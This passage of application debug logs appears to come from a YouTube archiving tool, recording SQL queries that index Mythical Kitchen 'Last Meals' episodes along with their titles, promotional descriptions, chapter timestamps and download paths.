https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Josh Peck Eats His Last Meal", "18fc8ac7-c9c3-47a4-9b44-49a0f33e9686", "https://www.youtube.com/watch?v=ztSj01t05ZE", false, "ztSj01t05ZE", 1585, false, 7, "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", false, false, 1, [], 1, ~U[2022-08-02 10:00:29Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Josh Peck's last meal. Last Meals Ep.5\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Josh Peck Eats His Last Meal", "https://www.youtube.com/watch?v=ztSj01t05ZE", "ztSj01t05ZE", 1585, false, "/downloads/Last Meals/2022-08-02 Josh Peck Eats His Last Meal/Josh Peck Eats His Last Meal [ztSj01t05ZE].mp4", false, 1, ~U[2022-08-02 10:00:29Z]] 20:49:32.240 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.240 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-09 11:00:03Z], 1] 20:49:32.241 [debug] QUERY OK source="media_items" db=0.5ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Link Neal's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Link Eats His Last Meal", "d59b72d4-d650-44fc-a7b0-e2da144b8262", "https://www.youtube.com/watch?v=4ntg0ZFmyqU", false, "4ntg0ZFmyqU", 1883, false, 8, "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", false, false, 1, [], 1, ~U[2023-02-09 11:00:03Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Link Neal's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Link Eats His Last Meal", "https://www.youtube.com/watch?v=4ntg0ZFmyqU", "4ntg0ZFmyqU", 1883, false, "/downloads/Last Meals/2023-02-09 Link Eats His Last Meal/Link Eats His Last Meal [4ntg0ZFmyqU].mp4", false, 1, ~U[2023-02-09 11:00:03Z]] 20:49:32.241 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.241 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-21 11:00:40Z], 1] 20:49:32.242 [debug] QUERY OK source="media_items" db=0.7ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Lana Condor eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Lana's Last Meal\n0:30 Natural Rizz\n1:23 Have You Thought About Your Last Meal Before?\n3:04 1st Course\n8:29 A Girl Version Of Andrew Garfield In Hacksaw Ridge\n12:05 Tattoos Do Not Work On Lana\n13:05 2nd Course\n13:57 Dining Solo\n16:12 Adopted From Vietnam\n23:01 Women Need More Sleep\n24:23 Do We Have Free Will?\n25:18 Losing Mom\n27:09 3rd Course\n29:13 Talk To Yourself Like Your Best Friend\n30:04 Spicy Noodles Help With Grief\n32:00 Adopting A Puppy From Buzzfeed\n33:19 4th Course\n34:13 Growing Up On Whidbey Island\n35:17 Mom's Legacy\n36:59 Lightning Round\n39:56 Lana's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Lana Condor Eats Her Last Meal", "fafbc76c-bef7-4a8b-b5c9-3f86e2ba35f4", "https://www.youtube.com/watch?v=Tzo8Z3qLV38", false, "Tzo8Z3qLV38", 2453, false, 9, "/downloads/Last Meals/2025-01-21 Lana Condor Eats Her Last Meal/Lana Condor Eats Her Last Meal [Tzo8Z3qLV38].mp4", false, false, 1, [], 1, ~U[2025-01-21 11:00:40Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Lana Condor eats her last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Lana's Last Meal\n0:30 Natural Rizz\n1:23 Have You Thought About Your Last Meal Before?\n3:04 1st Course\n8:29 A Girl Version Of Andrew Garfield In Hacksaw Ridge\n12:05 Tattoos Do Not Work On Lana\n13:05 2nd Course\n13:57 Dining Solo\n16:12 Adopted From Vietnam\n23:01 Women Need More Sleep\n24:23 Do We Have Free Will?\n25:18 Losing Mom\n27:09 3rd Course\n29:13 Talk To Yourself Like Your Best Friend\n30:04 Spicy Noodles Help With Grief\n32:00 Adopting A Puppy From Buzzfeed\n33:19 4th Course\n34:13 Growing Up On Whidbey Island\n35:17 Mom's Legacy\n36:59 Lightning Round\n39:56 Lana's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1 (truncated) 20:49:32.242 [debug] QUERY OK source="sources" db=0.0ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.243 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-16 11:00:43Z], 1] 20:49:32.244 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Jake Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Jake's Last Meal Menu\n0:42 Manhandled By Boban Marjanovic\n1:53 Going Vegan\n3:19 1st Course - Vegan Chicago Diner Burger, Fries, & Healthy Coke\n6:20 Self Reliance Is Jake's Dream Project\n7:02 The Need For Human Connection\n7:33 Feeling Numb\n8:47 Art Doesn't Need To Play By The Rules\n9:48 A New Kind of Fun\n11:16 2nd Course - Fried Shrimp Po' Boy\n12:09 Working In Casinos & Addicted To Losing\n14:15 Just Famous Enough\n15:58 New Girl Guest Directors\n17:58 3rd Course - Omakase Sushi\n21:21 Jake's Podcast \"We're Here To Help\"\n22:13 Ostrich Farm Surprise\n28:13 4th Course - Vegan Hot Fudge Sundae\n28:58 Challenging His Dad's Sobriety\n31:03 Cherishing Parents Before Time Runs Out\n32:29 Your Kids Will Hate You For Something\n33:44 Sneaking Ashes Onto Wrigley Field\n36:19 Who's The One Person You'd Want To Share Your Last Meal With?\n36:23 Who's The Greatest Sitcom Character Of All Time?\n36:27 What Song Do You Want Played At Your Funeral?\n36:44 Who Do The Bears Take For Their Number 1 Pick?\n37:07 What's Your Biggest Fear?\n37:57 Which Stunt With Tom Cruise Did You Feel You Were Most Going To Die?\n39:03 Are You Happy?\n39:19 Jake's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - 